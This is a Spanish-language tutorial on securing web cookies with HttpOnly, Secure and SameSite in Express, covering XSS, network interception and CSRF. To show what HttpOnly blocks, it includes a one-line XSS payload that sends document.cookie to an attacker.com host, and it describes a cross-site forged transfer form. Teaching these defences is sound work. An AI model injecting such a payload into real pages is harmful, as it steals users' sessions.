Cookies Seguras: HttpOnly, Secure y SameSite
Aprende a proteger las cookies de tus aplicaciones web contra ataques XSS, CSRF y robo de sesiones usando las flags de seguridad adecuadas.
TL;DR - Resumen rápido
- res.cookie('sessionId', value, {httpOnly: true}) bloquea document.cookie, previene robo por XSS
- secure: true hace que la cookie solo se envíe por HTTPS, no por HTTP (protege contra intercepción)
- sameSite: 'lax' permite navegación top-level pero bloquea POST/fetch/img cross-site (anti-CSRF)
- sameSite: 'strict' bloquea TODAS las solicitudes cross-site (máxima seguridad, puede romper UX)
- sameSite: 'none' envía cookies en cross-site pero REQUIERE secure: true obligatoriamente
Introducción a las Cookies Seguras
Las cookies son mecanismos esenciales para mantener el estado en aplicaciones web, pero también son uno de los vectores de ataque más comunes si no se configuran correctamente. Cada cookie que creas puede ser un punto vulnerable si no implementa las flags de seguridad adecuadas.
Los ataques más comunes que explotan cookies mal configuradas incluyen XSS (Cross-Site Scripting) para robar cookies de sesión, CSRF (Cross-Site Request Forgery) para ejecutar acciones no autorizadas, y el intercepto de tráfico para capturar cookies en transmisiones no cifradas.
Vulnerabilidad crítica en cookies sin protección
Una cookie de sesión sin HttpOnly puede ser robada por cualquier script malicioso que se ejecute en tu sitio. Una cookie sin Secure puede ser interceptada en redes Wi-Fi públicas. Una cookie sin SameSite puede ser explotada en ataques CSRF. La combinación de estas vulnerabilidades puede comprometer completamente la seguridad de tu aplicación.
Flag HttpOnly: Protección contra XSS
La flag HttpOnly es la primera línea de defensa contra ataques XSS. Cuando una cookie tiene esta flag activada, el navegador impide que cualquier JavaScript acceda a ella mediante document.cookie. Esto significa que incluso si un atacante logra inyectar un script malicioso en tu página, no podrá leer ni exfiltrar las cookies de sesión.
Configuración Básica de HttpOnly
Para configurar una cookie con HttpOnly, simplemente añades el atributo al momento de crearla. En el servidor, esto se hace configurando las opciones adecuadas al establecer la cookie.
res.cookie('sessionId', 'abc123xyz', {httpOnly: true, maxAge: 3600000}) establece la cookie desde Express con HttpOnly activado. Desde el cliente, document.cookie no mostrará cookies con httpOnly: true. Con httpOnly: false, document.cookie devuelve "sessionId=abc123xyz", pero con httpOnly: true, document.cookie solo muestra cookies sin esa flag. Esta protección debe configurarse en el servidor porque si pudiera establecerse desde JavaScript, scripts maliciosos simplemente la desactivarían.
Por qué HttpOnly debe configurarse en el servidor
Si HttpOnly pudiera configurarse desde el cliente, cualquier script malicioso podría simplemente establecer una nueva cookie sin HttpOnly y usarla para sus propósitos. Al forzar que HttpOnly se configure solo desde el servidor, garantizas que el control de seguridad permanezca bajo tu autoridad.
HttpOnly vs Ataques XSS
Para entender la efectividad de HttpOnly, veamos qué sucede cuando un atacante intenta robar una cookie con y sin esta protección. La diferencia es fundamental para la seguridad de tu aplicación.
fetch('https://attacker.com/steal', {body: JSON.stringify({cookies: document.cookie})}) envía todas las cookies accesibles al atacante. Con httpOnly: false, document.cookie contiene "sessionId=user123" y el atacante lo recibe. Con httpOnly: true, document.cookie solo incluye cookies sin HttpOnly (ej: "preferences=darkMode"), ocultando sessionId. El script malicioso se ejecuta igual, pero no puede acceder a la cookie protegida incluso si existe XSS en el sitio.
Flag Secure: Transmisión solo por HTTPS
La flag Secure asegura que las cookies solo se transmitan a través de conexiones HTTPS cifradas. Sin esta flag, las cookies pueden ser interceptadas en redes Wi-Fi públicas, hotspots de café, o cualquier lugar donde el tráfico no esté cifrado, permitiendo que atacantes capturen credenciales de sesión.
Configuración de la Flag Secure
La flag Secure debe usarse siempre que tu aplicación use HTTPS, lo cual debería ser siempre en producción. Esta flag es especialmente crítica para cookies que contienen información sensible como tokens de autenticación, identificadores de sesión o datos personales.
res.cookie('sessionId', 'abc123xyz', {secure: true, httpOnly: true}) hace que el navegador solo envíe la cookie en conexiones HTTPS. En HTTP, la cookie con secure: true NO se envía en ninguna solicitud. En HTTPS, se envía normalmente. Para desarrollo local (HTTP), usa secure: process.env.NODE_ENV === 'production' para desactivar Secure en dev pero activarlo en producción. IMPORTANTE: Secure solo protege la transmisión, NO bloquea document.cookie. Para protección completa necesitas httpOnly: true también.
Advertencia: Secure sin HTTPS puede causar problemas
Si configuras la flag Secure pero tu aplicación no usa HTTPS (por ejemplo, en desarrollo con HTTP), la cookie no se enviará en ninguna solicitud. Esto puede causar que la autenticación falle. En desarrollo, puedes desactivar Secure temporalmente, pero nunca en producción.
Intercepción de Cookies sin Secure
Para comprender por qué Secure es esencial, veamos cómo un atacante puede interceptar cookies que no tienen esta flag. Este escenario es común en redes públicas donde el tráfico no está cifrado.
En redes Wi-Fi públicas sin Secure, un atacante con Wireshark captura tráfico HTTP y ve 'Cookie: sessionId=abc123' en texto plano. El atacante puede reutilizar ese sessionId en sus propias solicitudes para hacerse pasar por el usuario. Con HTTPS y secure: true, el tráfico capturado muestra 'Cookie: ENCRYPTED_DATA...' que no puede descifrarse. La diferencia: HTTP sin Secure = cookie visible, HTTPS con Secure = cookie cifrada e ilegible para el atacante.
Flag SameSite: Protección contra CSRF
La flag SameSite controla si las cookies se envían en solicitudes cross-site, proporcionando protección contra ataques CSRF. CSRF ocurre cuando un sitio malicioso engaña al navegador de un usuario para que realice una acción en tu sitio usando las cookies de sesión del usuario.
Valores de SameSite: Strict, Lax y None
SameSite tiene tres valores posibles, cada uno con diferentes niveles de restricción. Elegir el valor correcto depende del tipo de cookie y de cómo tu aplicación maneja las solicitudes cross-site.
sameSite: 'strict' bloquea TODAS las solicitudes cross-site (incluso navegación desde otro sitio). sameSite: 'lax' permite navegación top-level (usuario hace clic en link) pero bloquea <img src="tu-site.com/api">, fetch() cross-site, y formularios POST cross-site. sameSite: 'none' envía cookies en TODAS las solicitudes cross-site pero REQUIERE secure: true obligatoriamente (error si no). Lax es el valor recomendado porque equilibra seguridad (bloquea CSRF) con usabilidad (permite navegación normal).
Recomendación: Usa SameSite=Lax para cookies de sesión
SameSite=Lax proporciona un buen equilibrio entre seguridad y funcionalidad. Permite que las cookies se envíen en navegaciones top-level (como cuando un usuario hace clic en un enlace), pero bloquea solicitudes cross-site iniciadas por scripts o imágenes, que son las más comunes en ataques CSRF.
SameSite vs Ataques CSRF
Para entender cómo SameSite protege contra CSRF, veamos un escenario de ataque típico y cómo cada valor de SameSite lo previene. La diferencia entre SameSite=Lax y SameSite=None es crucial para la seguridad.
Un formulario malicioso en attacker.com hace POST a banco.com/transferir. Con sameSite: 'none', el navegador envía automáticamente 'Cookie: sessionId=abc123' en la solicitud cross-site y la transferencia se ejecuta (❌ ataque exitoso). Con sameSite: 'lax', el navegador NO envía la cookie en POST cross-site, el servidor responde 401 Unauthorized y el ataque falla (✅ bloqueado). Lax también bloquea fetch() cross-site, <img src>, y <iframe> ataques. Sin embargo, Lax SÍ permite navegación top-level (usuario hace clic en link desde email), manteniendo buena UX.
Combinación de las Tres Flags
La máxima protección se logra combinando HttpOnly, Secure y SameSite. Cada flag protege contra un tipo específico de ataque, y juntas proporcionan defensa en profundidad para las cookies más críticas de tu aplicación.
res.cookie('sessionId', 'abc123xyz', {httpOnly: true, secure: true, sameSite: 'lax'}) proporciona triple protección: httpOnly bloquea document.cookie (anti-XSS), secure solo envía por HTTPS (anti-intercepción), sameSite: 'lax' bloquea POST/fetch cross-site (anti-CSRF). Incluso si un atacante inyecta XSS, no puede leer la cookie. Si intercepta tráfico en Wi-Fi pública, ve datos cifrados. Si intenta CSRF con formulario malicioso, la cookie no se envía. Esta es la configuración mínima para cookies de sesión en producción.
Mejor práctica: Triple protección para cookies críticas
Para cookies de sesión, tokens JWT, y cualquier cookie que contenga información sensible, siempre configura HttpOnly, Secure y SameSite=Lax (o Strict si tu aplicación lo permite). Esta combinación protege contra XSS, interceptación de red, y CSRF simultáneamente.
Resumen: Cookies Seguras
Conceptos principales:
- •httpOnly: true oculta cookies de document.cookie, bloqueando fetch() que intenta robarlas vía XSS
- •secure: true hace que navegador solo envíe cookies en HTTPS, no HTTP (protege contra Wireshark en Wi-Fi pública)
- •sameSite: 'lax' permite navegación top-level pero bloquea POST cross-site, fetch(), <img>, <iframe>
- •sameSite: 'strict' bloquea TODO cross-site incluso navegación (usuario debe re-login desde otro sitio)
- •sameSite: 'none' envía en TODO cross-site pero REQUIERE secure: true (error sin HTTPS)
Mejores prácticas:
- •res.cookie('sessionId', value, {httpOnly: true, secure: true, sameSite: 'lax'}) para sesiones
- •res.cookie('authToken', jwt, {httpOnly: true, secure: true, sameSite: 'strict'}) para auth tokens
- •secure: process.env.NODE_ENV === 'production' desactiva Secure en dev local HTTP
- •Cookies de preferencias: {httpOnly: false, secure: true, sameSite: 'lax'} si JS necesita acceso
- •SSO cross-site: {httpOnly: true, secure: true, sameSite: 'none', domain: '.empresa.com'}